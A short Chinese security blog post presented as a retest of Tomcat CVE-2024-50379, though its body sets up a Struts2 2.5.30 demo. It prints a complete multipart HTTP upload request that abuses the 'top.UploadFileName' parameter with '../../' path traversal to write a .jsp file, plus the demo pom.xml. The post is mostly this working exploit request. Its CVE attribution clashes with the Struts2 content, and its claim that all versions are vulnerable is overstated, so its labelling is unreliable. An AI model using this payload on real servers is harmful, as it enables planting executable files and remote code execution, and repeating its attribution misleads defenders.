复测 Apache Tomcat 远程代码执行漏洞(CVE-2024-50379)

复测 Apache Tomcat 远程代码执行漏洞(CVE-2024-50379)

原创 蚂蚁 网安守护 2024-12-30 11:05

环境搭建

struts2: 2.5.30

Idea : IntelliJ IDEA 2023.2.3 (Ultimate Edition)

注意事项

1、可以跨目录进行上传文件,除了../和./ ,必须知道目录,不然报错

2、功能点如果只是读取文件不落地,该漏洞不会有影响

3、全版本存在漏洞

POST /struts_demo_war_exploded/upload.action HTTP/1.1
Host: localhost:8080
Content-Length: 343
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhVHgani7gSI8AO3p
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
------WebKitFormBoundaryhVHgani7gSI8AO3p
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain
111111111111111111111111111111
------WebKitFormBoundaryhVHgani7gSI8AO3p
Content-Disposition: form-data; name="top.UploadFileName";
../../1234511161.jsp
------WebKitFormBoundaryhVHgani7gSI8AO3p--

pom.xml文件

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.example</groupId>
    <artifactId>struts-demo</artifactId>
    <version>1.0-SNAPSHOT</version>
    <packaging>war</packaging>
  <dependencies>
    <!-- Struts2 核心包 -->
    <dependency>
      <groupId>org.apache.struts</groupId>
      <artifactId>struts2-core</artifactId>
      <version>2.5.30</version>
    </dependency>
    <!-- Servlet API -->
    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>javax.servlet-api</artifactId>
      <version>4.0.1</version>
      <scope>provided</scope>
    </dependency>
  </dependencies>
</project>